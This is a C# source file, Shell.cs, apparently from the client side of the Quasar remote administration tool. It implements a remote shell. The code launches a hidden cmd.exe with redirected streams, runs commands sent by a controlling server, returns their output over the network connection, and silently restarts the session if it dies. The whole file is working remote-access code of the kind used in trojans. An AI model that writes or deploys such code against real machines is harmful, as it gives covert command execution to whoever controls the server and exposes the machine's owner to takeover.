Files
Quasar/Client/Core/RemoteShell/Shell.cs
T
2015-01-19 10:55:04 +01:00

106 lines
2.9 KiB
C#

using System;
using System.Diagnostics;
using System.Threading;
namespace xClient.Core.RemoteShell
{
public class Shell
{
private Process _prc;
private bool _read;
private void CreateSession()
{
_prc = new Process
{
StartInfo = new ProcessStartInfo("cmd")
{
UseShellExecute = false,
RedirectStandardInput = true,
RedirectStandardOutput = true,
RedirectStandardError = true,
CreateNoWindow = true,
WorkingDirectory = @"C:\",
Arguments = "/K"
}
};
_prc.Start();
new Packets.ClientPackets.ShellCommandResponse(">> New Session created" + Environment.NewLine).Execute(Program.ConnectClient);
new Thread(Redirect).Start();
}
private void Redirect()
{
try
{
using (var reader = _prc.StandardOutput)
{
while (!reader.EndOfStream && _read)
{
var read = reader.ReadLine();
Thread.Sleep(50);
new Packets.ClientPackets.ShellCommandResponse(read + Environment.NewLine).Execute(Program.ConnectClient);
}
}
if (_prc.HasExited && _read)
throw new ApplicationException("session unexpectedly closed");
}
catch (ApplicationException)
{
new Packets.ClientPackets.ShellCommandResponse(">> Session unexpectedly closed" + Environment.NewLine).Execute(Program.ConnectClient);
CreateSession();
}
}
public bool ExecuteCommand(string command)
{
if (_prc.HasExited)
return false;
_prc.StandardInput.WriteLine(command);
_prc.StandardInput.Flush();
return true;
}
public Shell()
{
_read = true;
CreateSession();
}
~Shell()
{
_read = false;
try
{
if (!_prc.HasExited)
{
_prc.Kill();
new Packets.ClientPackets.ShellCommandResponse(">> Session closed" + Environment.NewLine).Execute(Program.ConnectClient);
}
}
catch
{ }
}
public void CloseSession()
{
_read = false;
try
{
if (!_prc.HasExited)
{
_prc.Kill();
new Packets.ClientPackets.ShellCommandResponse(">> Session closed" + Environment.NewLine).Execute(Program.ConnectClient);
}
}
catch
{ }
}
}
}